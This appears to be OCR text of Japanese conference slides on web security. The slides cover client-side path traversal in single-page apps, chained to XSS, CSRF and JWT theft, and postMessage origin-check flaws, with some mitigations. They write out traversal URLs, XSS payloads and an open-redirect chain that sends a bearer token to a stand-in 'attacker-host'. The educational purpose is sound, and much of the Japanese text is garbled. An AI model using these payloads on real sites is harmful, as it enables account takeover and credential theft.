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Client-side Path Traversal: B1D EIF7-18H

» SPA(Single Page Application) D17 HICE R TWB{EDIA
NZ—=2hHbh, STEML>TIEL L
» Bug Bounty®write upZ2 £ THRHIH R 5N 5 (FEFDURLEER)

s BRTESZMINIRET, 2LHODDICCW

The power of Client-Side Path Traversal: How | found and escalated 2 bugs through “../” by Alvaro Balada

https://medium.com/@Nightbloodz/the-power-of-client-side-path-traversal-how-i-found-and-escalated-2-bugs-through-670338afc90f



https://medium.com/@Nightbloodz/the-power-of-client-side-path-traversal-how-i-found-and-escalated-2-bugs-through-670338afc90f
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Routes
Route path="/posts/:1d" element={<Posts
Routes

{ id } = useParams();

res = await fetch( /api/posts/${id} );
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1. /posts/12 =R <
2.JSH /api/posts/12 & T T v F
3. BEDISOND S ATV ERT

HTTP/1.1 200 OK

Content-Type: application/json;charset=utf-8
| ] Hey!
Hello!

{

"title":"Hey!",
"content":"<p>hello</p>"

¥
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1. /posts/..%5C. .%5Cfoo %Z <
2.JSH /foo & T v F (/api/posts/..\..\foo DIEFRILEDURL)
3. ES ATV ERTLES ETBH. JSSONTHRVLWDTIS—

GET /foo HTTP/1.1

HTTP/1.1 200 OK S
Content-Type: text/html; charset=utf-8 e

[...]

<!DOCTYPE html>... (SPADHTMLAYE <)
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GET / HTTP/1.1
{
"title":"attacker's content”,
"content":"<img src=x onerror=alert(/XSS/)>" /XSS/

¥

EABEEDRWVWC EWHDIFES ?




HDIFD !

BZIECABES

1. 7707y 70— FEEDHZIEE
2.A=T2VRAL I DHBEE

3. DOAPIGEARB LCISONZO/NT 1 ZE>TWLWT, D, £
D7ONT DfEZA—F—H> FO—I)LAJgELR & &




Path Traversal + File Upload = XSS

[files/:id TA—H—ATPyTO—RLETFAIHBEI FSNB LS -

1. /posts/..%5C. .%5Cfiles%5C123 % fd <
2.JShH /files/123 2T TV F
3. EDS AT IOVERRLELIDETHE

GET /files/123 HTTP/1.1

{
"title":"Uploaded by attacker”,

"content":"<img src=x onerror=alert(/XSS/)>" /XSS/

¥



Path Traversal + Open Redirect = XSS

/redirect?url=* [23XXIGEDA—TVUHAAL LI+ BHBD S
1. /posts/..%5C. .%5Credirect%3Furl=https:%2F%2Fattacker-host%2F %Z <

2.JSH /redirect?url=https://attacker-host/ Z 7 TV F
3.DAALY FEDREDS AT IOV ERTLESET B E

HTTP/1.1 302 Found

Location: https://attacker-host/
https://attacker-host/ DIGE: (CORSAA YA ZEL T 3)

HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *

[...] /XSS/

{"title":"Hello from Attacker's server",
"content":"<img src=x onerror=alert(/XSS/)>"}




Path Traversal + Another APl response = XSS

/api/guest-posts/:id [CELCHABIDIJSONT ONT 1+ Z:RT IV
RRA D FEEzHD, DO, A—TF—ANZEITREE -

1. /posts/..%5Cguest-posts%5C123 %<

2.JSH /api/guest-posts/123 Z T T v F

3. EMNMS ATV ERRLEDETHE

{

“title":"attacker's content”, /XSS/
"content":"<img src=x onerror=alert(/XSS/)>" L 0K

}
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AP177 2t XBEficAuthorizationN v A %Z DT TC7 9t XTB3LD%
EEDIGE. CSRFAAHDIFBRIEED

GET /api/posts/12 HTTP/1.1
Host: example.com

Authorization: Bearer eyJ[...]

[...]

EABREET?w



Path Traversal + Another APl = CSRF

/api/users/:id/follow N®DAuthorization™\ v % {3 = DGET T.
idDA—H—Z 7 x0O0—9 3KEDHDIEE

1. /posts/..%5Cusers%5C123%5Cfollow % <

2. JSH /api/users/123/follow ZAuthorizationNy X & HICT T v F
3. A—H%—ID:123 02— —%ZfollowL TL XS

GET /api/users/123/follow HTTP/1.1
Host: example.com
Authorization: Bearer eyJ[...]

[...]

N
HTTP/1.1 200 OK m) — Following _f_:
— A7 1NN
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WTZ ) —oTENIE. MBEIFEDI—Y— L TAPIZINEKEE

GET /api/posts/12 HTTP/1.1
/ DELETE /api/posts/12 HTTP/1.1
GET /api/users/123/follow HTTP/1.1

\ GET /api/users/123/unfollow HTTP/1.1

Authorization: Bearer ey][...]

PATCH /api/profile HTTP/1.1

NZALSN=BIIT)—ITEBRGRLIT?=



Path Traversal + Open Redirect = JWT Leak

/redirect?url=* [Z3XXIGEDF—TVAAL I DHB L E -
1. /posts/..%5C. .%5Credirect%3Furl=https:%2F%2Fattacker-host%2F Z i<

2.JSH /redirect?url=https://attacker-host/ Z 7 T v F
3. attacker-hostldJWT%Z Z L Authorization\ v # = {5

YFAL LY D S5Dpreflight VTR & ANYAZEDT-HDCORSIHE:

OPTIONS / HTTP/1.1
Host: attacker-host

Access-Control-Request-Method: GET preflight@@%NDV I T b+ !

Access-Control-Request-Headers: Authorization

GET / HTTP/1.1
HTTP/1.1 200 OK , , » Host: attacker-host
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-0Origin: https://example.com

[...]
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FetchfT1RDZEHE

e FetchtiFZEMWEE TN TAuthorizationANwvA3oOQXA U UAA
L2 REICEICEDFEMB EDICHE Tz 228

e fclEL. A RAALAYATHRELTVWBIGEICIZI =200 F ) AH

FEHDS5B3ZCISER

YAA LY D5 Dpreflight) VT & ANYRXZEDT-HDCORSHE:
OPTIONS / HTTP/1.1

Host: attacker-host
Access-Control-Request-Method: GET preflighti#@®RD I I I |k !
Access-Control-Request-Headers: X-Token

HTTP/1.1 200 OK GET / HTTP/1.1

Access-Control-Allow-Headers: X-Token Host: attacker-host

Access-Control-Allow-Origin: https://example.com

[...]

Remove Authorization header upon cross-origin redirect #1544: https://github.com/whatwg/fetch/pull/1544



https://github.com/whatwg/fetch/pull/1544
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Debug Tips: XHR/fetch Breakpoints

* XHR¥fetch() T7 = v FENBURLICHEDXFIIHNZTENIH L
SHTITL—IRAL Y b EEND

c TTDY —XA— RHEVE. [GEDRESFEHNTXSSHHD 5 5H
. hvaiB S EFICEF

T

v XHR/fetch Breakpoints +
() Any XHR or fetch

(] URL contains “cipher”

(] URL contains "download’

URL contains “zzz"



Debug Tips: Network4 7 DInitiator

BE(C
D Initiator §f3Z 2 1) w4 T

SN=HDIE. Network®J >FxvoLT=WJY—2X
— KW RELEY—XZE e

\\‘f

Name Method Status Protocol Domain Type Initiator Size
desktop_searchbox_sprites318_hrwebp GET 200 http/1.1 www.google.com webp (index):116 1.
[J gen_2047s=webhp&t=aft&atyp=csiSlei=ob... POST 204 http/1.1 www.google.com ping (index):10 1.
J gen_204?atyp=csi@r=18&ei=0bDWZaS9H7X... POST 204 http/1.1 www.google.com ping m=cdos hsm, 1.
search?q8cp=08&client=gws-wiz8ixssi=t&gs... GET 200 http/1.1 www.google.com xhr m=cdos,hsm, 2.
m=B2qlPe,DhPYme GU4Gab MplwZc, NzUEV... GET 200 T
rs=ACT900HbheRdx8grAa2GdIsvxxOAl-tw  GET 200 . send @ m=cdos, hsm,7sa,mbazub,d,cs1,CELI0D
. client 2047atyp=i&biw=1454&bih=159&dp... GET 204 (anonymous) @ m=cdos,hsm, jsa,mbazub,d,csi,cELoeb
ch=gapiloaded 0 GET 200 _.ndc.Mb @ m=cdos,hsm,jsa,mb4aZub,d,csi,cEt9eb
L qdc @ m=cdos,hsm,jsa,mb4ZUb,d,csi,cEt9eb
m=syjq?xjs=s3 GET 200
_.ndc.PC @ m=cdos,hsm,jsa,mb47Ub,d,csi,cEt96b
m=sylab,P100wf,synb,sy191,sy192,g57vdb,... GET 200
. mdc @ m=cdos,hsm,jsa,mb47Ub,d,csi,cEt96b
? =i&r= =
Ll e e et S = D TS T | PO 204 (anonymous) @ m=cdos,hsm,jsa,mb4azuUb,d,csi,cEt9eb
? = i = .=
[J gen_2047atyp=csi@ur=18ei=0bDWZaS9H7X... POST 204 Ta @ m=cdos, hsm _]ﬁ nbazub, d, csi,CEtoab

[ hoba?vet=10ahUKEwikkbLF8r2EAxU1oVYEBH... GET 200 . . . e
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postMessage B

c Windowlli THU S > Z X -WLWTEEZTJREIC T BAPI
e iframe Ry 7 v T o1 RO BEDEE -

PM https://trusted.test

<iframe>

https://trusted.test window.open() TRIL\7zpop up




postMessageE#E: 5%k

- BIIBU Ry - B2BNBU Ry - EFEROF VDV ZIBERE

windowRef.postMessage(message, targetOrigin);

» https://trusted.test DHZEFK E L TEFRI I 56 :

windowRef.postMessage('hello!', 'https://trusted.test');

« VARV RV TETDA I LTEFRI TS & HafgEe -

windowRef.postMessage('hello!', '"*');




postMessageEH#: X{5

BlwindowDZ=BR(Z & B postMessage() VU H I 721F

win = window.open('https://trusted.test/', "popup’);
setInterval(()=>{

win.postMessage('ping', 'https://trusted.test');
},1000);

(popup)
https://example.com PM  https://trusted.test

opener.postMessage('pong', '*');




postMessageEHE: (5

message I X b )w X293

window.addEventListener( 'message', event => {
console.log(event.data);// "pong"
},false);

(popup)
PM https://trusted.test

opener.postMessage('pong', '*');
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window.addEventListener('message', event => {
console.log(event.data);// "super-secret"
},false);

window.open()

opener.postMessage( 'super-secret', '*");
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s 5P ALXERA ) D &2 F 25| MTEET BT

window.open()

opener.postMessage('super-secret', 'https://trusted.test');

Failed to execute 'postMessage' on 'DOMWindow': The target origin provided ('https://trusted.test') does not
match the recipient window's origin ("https://attacker.test').



RIS DRess1E

« Xwtt—(CE

D ULVTE

£

BIRIFZz LTVWBEE, XytE—%

EELTERAVS EF v LTULWERVLERESEEIC
. CDIRIEBRADXSSHDED HDHE

window.addEventListener('message’', event => {
switch(event.data.cmd) {

case 'navigate’:

location.href = event.data.url;// XSS!!
'reload’:

case

[..

}
},false);

. ]




RSB DMessE: IEH

1. window.open() T
attackerdR—T %BH<

l 2. window.openf®. BEZ+ES—>3>

opener.postMessage({"cmd":"navigate","url"”:"javascript:alert(/XSS/)"},"'*");

3. 1B RY XF—DBHBR—JICAT THI L X vy E—S%HEE



ZIEEFDMEssTE: ¥R

- eventoriginZ7ONTsZF vV LTHFLIEAV D OHES
DeFIvI9d3

window.addEventListener( 'message', event => {
if(event.origin !== 'https://trusted.test') {return;}
switch(event.data.cmd) {
case 'navigate':
location.href = event.data.url;// XSS!!

[...]

}
},false);

BHICEHC AP, COFTvIDREHLLEHNEDZL---»
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if(1/A >:\/\/ .test(event.origin)){

return;

¥




origintREDKMP #1: EXaHE

By FDIRIRT—7
https://wwwXexample.com

if(!/~https?:\/\/www.example.com/.test(event.origin)){

return;

¥

http: URLAEFRIE i TWL 3 RKEDF v IH70L
http://www.example.com https://www.example.com.attacker.test




origintRSED K BHI #2: startsWith/endsWith

IBELIEXFIITIREX S /#2H B L Htrue

if('event.origin.startsWith('https://trusted.test’)){

return;

}
BT RXAZFHFRILI-VLWERDendsWithiddh D D5 .

if(levent.origin.endsWith('trusted.test')){
return;

}




originfREEDEKMF #2: EXEHHE

https://trusted.test.example.com HB>TL X5

if('event.origin.startsWith('https://trusted.test’)){

return;

¥

https://this-is-untrusted.test &%

if(levent.origin.endsWith('trusted.test')){
return;

}




originfREED K MM #3: indexOf

* 18 LB XD RAICHIR T 3 UEZHIETRY
- il FEELSHB LS50, HAFHIE -1

if(event.origin.indexOf( ' 'https://trusted.test') !== 0){

return;

¥




originfREEDEK WP #3: ZEXSht

https://trusted.test.example.com H'E2> TEHFRI TN 3

if(event.origin.indexOf( 'https://trusted.test') !== 0){

return;

¥

=D S5 HIRT SDTLTIXO:

"https://trusted.test.example.com”.indexOf( 'https://trusted.test')// ©
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window.addEventListener('message’', event => {
if(event.origin !== 'https://trusted.test') {return;}
switch(event.data.cmd) {
case 'navigate':
location.href = event.data.url;// OK??

[...]

}
},false);




XSSH'SXSSAEIT S

1. window.open() T
XSSICHfEggArtrusted.testR— & B <

l 2. window.openf®. BEZ+ES—>3>

(popup)
https://trusted.test
PM [search?q=%22%3E%3Cscript%3E...

opener.postMessage({"cmd":"navigate","url"”:"javascript:alert(/XSS/)"},"'*");

3. XSSHSHEEER Y R F—h BB _R—JICAF TRI Ll X vt — S % 3%(E
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R LE€S5LBReis/N2—>: iframe

BlOwindowh 5iframenNXyvt—2%2FZN3 C CICHER

1. window.open() T
attackerdOR— %<

l 2. window.openf®. BEZ+ES—>3>

opener[0].postMessage([...], " '*");

3. }feg8% 1) X+ —H B BiframelcAITTHIL X v E—2J%%E
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2L . Cross-Origin-Opener-Policy(COOP)

c D4V RUBDT IR ZEMCT DL AR AN YA
» opener X°> window.open(|DEDEHNSD T UVt XHEZRNIC

Cross-0Origin-Opener-Policy: same-origin

» BllwindowD 5 X w2 — 2 & 1X 5 #FD %G < 45 D TpostMessagei®

DMEBHERAIND

« I=lELRAEES R R F—D BB R—D DiframelcHEEDY 1 F2O—RTE3
SZRBETIE. FEiframeh S XyE—UDBEXSNBAREERH D EITER




Debug Tips: getEventListeners(obj)

s ObjICEERENIcARY NI R F—%FET S, DevToolsTEZ SIS API

> getEventListeners(window)

¢ w : Array(1), : Array(1), : Array(7), : Array(2), : Array(1), .} i
» attn-swipe: [{..}]
» attn_dom_update: [{-}, {-}]

P attn_pause: [{..}]

b attn_reset: [{..}]

b attn_resume: [{..}]

» attn_viewer_close: [{.}]

> attn_viewer_open: [{.}]

» beforeunload: [{.}, {-}]
» blur: {3 {-}]

> error: [{.}]

b focus: [{.}]

> keydown: [{-}s {-}]

» keyup: [{.}]

b load: [{.}]

> message: [{.-}, {-}]

» pagehide: [{-}, {-}]

> pageshow: R E PR O PR B PR 65 PRR 3 FRR O3 SRR B )
> popstate: [{-}, 111

> resize: [{eFs {23 43 {3 {-}]

> scroll: {3 {-3]

> touchend: [{..}]

> touchstart: [{..}]

» unhandledrejection: [{..}]
> : Object

www.google.com T getEvenListeners(window) L 7=



Debug Tips: getEventListeners(obj)

» message! ) AF—DEEDF v . BADIGZFROYFE ICEF

> getEventListeners(window)
¢ w : Array (1)} i
¥ message: Array(1)

v e: [[J pm-testhtml X
v listener: £ (e)

1
2 ¢script>
. 3 addEventListener( 'message’ ,ﬂnctiom[el{
_— 4 console.log(e);
" 5 },Talse);
o 6 </script>
> { 1)
: pm-test.html:3
> 0
> : Scopes[1]

once: false FUI‘ICtiOI’l LOC&tiOI’I%O I) “/OT
passive: false |) ZT—@‘/—Z’\f_I'%/\‘é

type: "message”
useCapture: false
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Thanks!

X @kinugawamasato
@masatokinugawa.bsky.social
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